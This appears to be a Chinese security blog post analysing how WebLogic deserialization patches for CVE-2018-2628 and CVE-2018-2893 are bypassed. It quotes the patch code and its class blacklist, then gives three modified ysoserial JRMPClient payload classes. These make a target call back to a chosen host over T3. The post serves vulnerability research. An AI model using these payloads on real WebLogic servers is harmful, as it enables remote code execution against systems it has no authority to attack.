Java 安全之Weblogic 2018-2628&2018-2893分析

0x00 前言

续上一个weblogic T3协议的反序列化漏洞接着分析该补丁的绕过方式,根据weblogic的补丁还是挺难找的,后面的分析中没有补丁看不到weblogic修复的细节,但是也不难猜处weblogic的这些修复都是老做法,使用黑名单的方式去进行修补漏洞。

0x01 补丁分析

由于没拿到补丁,这里从廖师傅文章里面扣除补丁的细节。

protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
String[] arr$ = interfaces;
int len$ = interfaces.length;
for(int i$ = 0; i$ < len$; ++i$) {
String intf = arr$[i$];
if(intf.equals("java.rmi.registry.Registry")) {
throw new InvalidObjectException("Unauthorized proxy deserialization");
}
}
return super.resolveProxyClass(interfaces);
}

weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream类的地方添加了一个resolveProxyClass方法,将resolveProxyClass给重写了,添加了一个传递过来的数据对应的接口进行遍历验证,如果为java.rmi.registry.Registry的话就直接抛出异常。如果不为java.rmi.registry.Registry就调用父类的resolveProxyClass

0x02 绕过思路

在2018-2628的绕过方式其实有两种,分别是:

  1. 在补丁里面仅仅只是限制了需要反序列化的数据为使用java.rmi.registry.Registry以外的类的接口,但是其实远程对象的接口不止java.rmi.registry.Registry这么一个。

廖师傅这里提供的绕过方式是将该接口替换成java.rmi.activation.Activator。即可绕过。

  1. ysoserial修改把Proxy部分去除掉,即可绕过补丁。这里来思考一下为什么Proxy部分去除就可以绕过了呢?

在前面的原生readobject分析文章里面讲到过readobject里面会走两个分支,反序列化的是动态代理的对象的话就会走resolveProxyClass分支里面,这里去除了Proxy部分内容,也就是说不使用动态代理的方式生成payload进行反序列化自然不会走到resolveProxyClass分支里面去。

0x03 利用思路

后面的调试内容,其实和前面的都是一样的,这里直接讲讲利用。

改写ysoserial

利用思路一,不使用代理对象:

package ysoserial.payloads;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner; import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.util.Random; public class JRMPClient1 extends PayloadRunner implements ObjectPayload<Object> { public Object getObject(final String command) throws Exception { String host;
int port;
int sep = command.indexOf(':');
if (sep < 0) {
port = new Random().nextInt(65535);
host = command;
} else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
return ref;
} public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient1.class.getClassLoader());
PayloadRunner.run(JRMPClient1.class, args);
}
}

对JRMPClient做一个小小的改动。

利用方式二,修改实现的远程接口为java.rmi.activation.Activator

package ysoserial.payloads;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner; import java.lang.reflect.Proxy;
import java.rmi.activation.Activator;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random; @PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Activator> { public Activator getObject (final String command ) throws Exception { String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] {
Activator.class
}, obj);
return proxy;
} public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader());
PayloadRunner.run(JRMPClient2.class, args);
}
}

0x04 CVE-2018-2893

CVE-2018-2893是CVE2018-2628的绕过,先来查看一下CVE-2018-2628的补丁细节

private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef"};

改写ysoserial

这里利用方式是将远程的gadget对象封装进streamMessageImpl类里面,和CVE-2016-0638一样,不过这里用的是JRMPClient的gadget。

在改写的时候需要,注意几个细节。JDK里面没有streamMessageImpl类,这里需要讲weblogic的一些依赖jar包和类的代码给复制过来。这里是讲weblogic_cmd里面的部分内容扣出来放到了yso里面。

package ysoserial.payloads;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import weblogic.jms.common.StreamMessageImpl;
import ysoserial.Serializer;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner; import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random; @SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Object> { public Object streamMessageImpl(byte[] object) {
StreamMessageImpl streamMessage = new StreamMessageImpl();
streamMessage.setDataBuffer(object, object.length);
return streamMessage;
} public Object getObject (final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if (sep < 0) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID objID = new ObjID(new Random().nextInt());
TCPEndpoint tcpEndpoint = new TCPEndpoint(host, port);
UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, tcpEndpoint, false));
RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef);
Object object = Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { Registry.class }, remoteObjectInvocationHandler);
return streamMessageImpl(Serializer.serialize(object));
} public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader());
PayloadRunner.run(JRMPClient3.class, args);
}
}

参考文章

Weblogic JRMP反序列化及绕过分析

weblogic之CVE-2017-3248,CVE-2018-2628,CVE-2018-2893,CVE-2018-3245反序列绕过分析

0x05 末尾的絮絮叨叨

其实知道绕过方式和利用方式后,从yso进行一个修改打包成jar包,使用到上次2017-3248的时候用到的exp修改参数,通过T3协议发送payload过去就可以实现绕过了。和前面的内容都是一样的都是同一个漏洞,所以在这里不做多的赘述。

Java 安全之Weblogic 2018-2628&2018-2893分析的更多相关文章

  1. java.lang.ClassCastException:weblogic.xml.jaxp.RegistryDocumentBuilderFactory cannot be cast to javax.xml.parsers.DocumentBuilderFactory

    java.lang.ClassCastException:weblogic.xml.jaxp.RegistryDocumentBuilderFactory cannot be cast to java ...

  2. JMS 问题java.lang.NoClassDefFoundError: weblogic/security/acl/UserInfo

    run: Exception in thread "main" java.lang.NoClassDefFoundError: weblogic/security/acl/User ...

  3. WebLogic部署报java.lang.ClassCastException: weblogic.xml.jaxp.RegistrySAXParserFactory cannot be cast to javax.xml.parsers.SAXParserFactory

    今天在部署WebLogic项目时,报了java.lang.ClassCastException: weblogic.xml.jaxp.RegistrySAXParserFactory cannot b ...

  4. 用JAVA代码获取Weblogic配置的JNDI 数据源连接

    第一步:生成与JDK版本对应的weblogicjar,利用cmd 进入到weblogic_home 路径下进入到server/lib目录,然后运行  JDK  1.6 命令 "java -j ...

  5. java.lang.NoClassDefFoundError: weblogic/kernel/KernelStatus

    solution Step: 1.In the classpath tab, be sure to add the wlclient.jar file located here \wlserver_1 ...

  6. Java安全之Weblogic 2016-0638分析

    Java安全之Weblogic 2016-0638分析 文章首发先知:Java安全之Weblogic 2016-0638分析 0x00 前言 续上篇文的初探weblogic的T3协议漏洞,再谈CVE- ...

  7. Java安全之Weblogic 2016-3510 分析

    Java安全之Weblogic 2016-3510 分析 首发安全客:Java安全之Weblogic 2016-3510 分析 0x00 前言 续前面两篇文章的T3漏洞分析文章,继续来分析CVE-20 ...

  8. Java 安全之Weblogic 2017-3248分析

    Java 安全之Weblogic 2017-3248分析 0x00 前言 在开头先来谈谈前面的绕过方式,前面的绕过方式分别使用了streamMessageImpl 和MarshalledObject对 ...

  9. Java安全之Weblogic 2018-3248分析

    Java安全之Weblogic 2018-3248分析 0x00 前言 基于前面的分析,后面的还是主要看补丁的绕过方式,这里就来简单的记录一下. 0x01 补丁分析 先来看看补丁细节 private ...

随机推荐

  1. Elastic Search 学习之路(三)—— tutorial demo

    一.ElasticSearch tutorial demo example 1. 单机.local.CRUD操作 实现方式: SpringBoot + ElasticSearch 拷贝的小demo,原 ...

  2. wsgi和asgi的关系

    什么是WSGI #CGI CGI(Common Gateway Interface,通用网关接口),定义客户端与Web服务器的交流方式的一个程序,例如正常情况下客户端发送过来一个请求,根据HTTP协议 ...

  3. [论文分享]Channel Pruning via Automatic Structure Search

    authors: Mingbao Lin, Rongrong Ji, etc. comments: IJCAL2020 cite: [2001.08565v3] Channel Pruning via ...

  4. flowable 实现多实例-会签-动态配置人员 参考demo

    会签 即多人执行当前任务 设置判断数 通过 例如:设置了是半数通过即可通过当前节点 如果当前是4人那就是2人即通过 如果是6人那就是三人即通过 如果是5人 即三人通过 看各位的判断值是如何书写 这个值 ...

  5. Centos7 搭建openldap完整详细教程(真实可用)

    最近,由于公司需求,需要搭建openldap来统一用户名和密码,目前市面上几乎所有的工具都支持ldap协议,具体ldap的介绍这里就不详细说明了,这里主要记录一下如果部署openldap来实现Ldap ...

  6. Gitlab Runner的分布式缓存实战

    欢迎访问我的GitHub https://github.com/zq2599/blog_demos 内容:所有原创文章分类汇总及配套源码,涉及Java.Docker.Kubernetes.DevOPS ...

  7. 转【深入理解SQL的四种连接-左外连接、右外连接、内连接、全连接】

    转自:https://www.jb51.net/article/39432.htm 1.内联接(典型的联接运算,使用像 =  或 <> 之类的比较运算符).包括相等联接和自然联接.     ...

  8. C语言输入字符串

    首先强调一点,C语言没有字符串的概念!所谓的字符串实际上还是以数组形式保存的. 方法1  -- 通过"%s"输入 优点:简单明了,输入字符只要不大于数组长度都可以. #includ ...

  9. maven打包,跳过生成javadoc

    有时候由于代码中注释错误(比如方法参数)或者maven javadoc插件版本有问题,导致打包报错,而我们着急打包验证问题,没有时间一一修改错误,这时候可以先跳过生成javadoc,继续下一步工作. ...

  10. 一文掌握XSS

    目录 XSS跨站脚本攻击 1.什么叫跨站脚本攻击? 2.XSS跨站脚本攻击的原理 3.XSS跨站脚本攻击的目的是什么? 4.XSS跨站脚本攻击出现的原因 5.XSS跨站脚本攻击的条件 1.有输入有输出 ...